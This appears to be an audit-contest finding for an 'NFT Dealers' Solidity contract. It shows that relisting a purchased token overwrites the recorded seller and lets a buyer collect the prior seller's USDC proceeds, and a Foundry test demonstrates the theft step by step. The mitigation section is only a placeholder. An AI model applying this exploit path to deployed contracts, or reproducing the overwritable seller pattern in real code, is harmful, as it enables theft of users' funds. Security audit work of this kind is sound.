NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

A buyer can overwrite s_listings[tokenId].seller after purchase and steal the previous seller’s sale proceeds

Author Revealed upon completion

Root + Impact

Description

Under normal behavior, once a buyer purchases an NFT, the proceeds from that completed sale should remain claimable only by the seller who actually sold the NFT. The payout recipient for that sale should be immutable after the sale is completed.

In the current implementation, sale settlement is derived from s_listings[_listingId], but that storage slot is keyed by tokenId and is fully overwritten every time the token is listed again. After purchasing the NFT, the buyer becomes the owner and can immediately call list(tokenId, newPrice), which rewrites s_listings[tokenId].seller to the buyer. The buyer can then make the new listing inactive and call collectUsdcFromSelling(tokenId). Since collectUsdcFromSelling() uses the current s_listings[tokenId].seller as the authorization source, the buyer can claim the proceeds that belong to the previous seller.

modifier onlySeller(uint256 _listingId) {
require(s_listings[_listingId].seller == msg.sender, "Only seller can call this function");
_;
}
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
...
s_listings[_tokenId] =
Listing({seller: msg.sender, price: _price, nft: address(this), tokenId: _tokenId, isActive: true});
// @> re-listing overwrites the seller for the same tokenId
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
// @> payout authorization is based on the overwritten seller field
}

Risk

Likelihood:

  • The bug occurs whenever a buyer purchases a token and relists that same token before the previous seller collects proceeds.

  • The exploit path is straightforward because listing ownership naturally transfers to the buyer after buy(), and list() overwrites the prior seller in the same storage slot.

Impact:

  • The original seller can lose the proceeds from a completed sale.

  • The buyer can redirect the previous seller’s payout to themselves.

  • The contract’s pooled USDC becomes misallocated, breaking core sale-settlement guarantees.

Proof of Concept

Paste this inside NFTDealersTest.t.sol:

function testBuyerCanOverwriteSellerAndStealPreviousSaleProceeds() public revealed {
uint256 tokenId = 1;
uint32 firstSalePrice = 1000e6;
uint32 relistPrice = 2000e6;
// Make buyer whitelist-eligible so they can re-list after purchasing.
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
mintAndListNFTForTesting(tokenId, firstSalePrice);
// Buyer purchases the NFT from the original seller.
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), firstSalePrice);
nftDealers.buy(tokenId);
// Buyer now owns the NFT and overwrites the old listing record.
nftDealers.list(tokenId, relistPrice);
nftDealers.cancelListing(tokenId);
vm.stopBroadcast();
// Fund the contract so the forged payout can be observed cleanly.
uint256 forgedFees = nftDealers.calculateFees(relistPrice);
uint256 forgedPayout = uint256(relistPrice) - forgedFees;
usdc.mint(address(nftDealers), forgedPayout);
uint256 buyerBalanceBefore = usdc.balanceOf(userWithEvenMoreCash);
uint256 originalSellerBalanceBefore = usdc.balanceOf(userWithCash);
// Buyer is now the recorded seller in s_listings[tokenId].
vm.prank(userWithEvenMoreCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 buyerBalanceAfter = usdc.balanceOf(userWithEvenMoreCash);
uint256 originalSellerBalanceAfter = usdc.balanceOf(userWithCash);
assertEq(buyerBalanceAfter - buyerBalanceBefore, forgedPayout);
assertEq(originalSellerBalanceAfter - originalSellerBalanceBefore, 0);
}

Recommended Mitigation

Separate active listing state from completed sale settlement state. A completed sale should create immutable payout data that cannot be overwritten by later listings of the same token.

One possible direction:

- remove this code
+ add this code

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!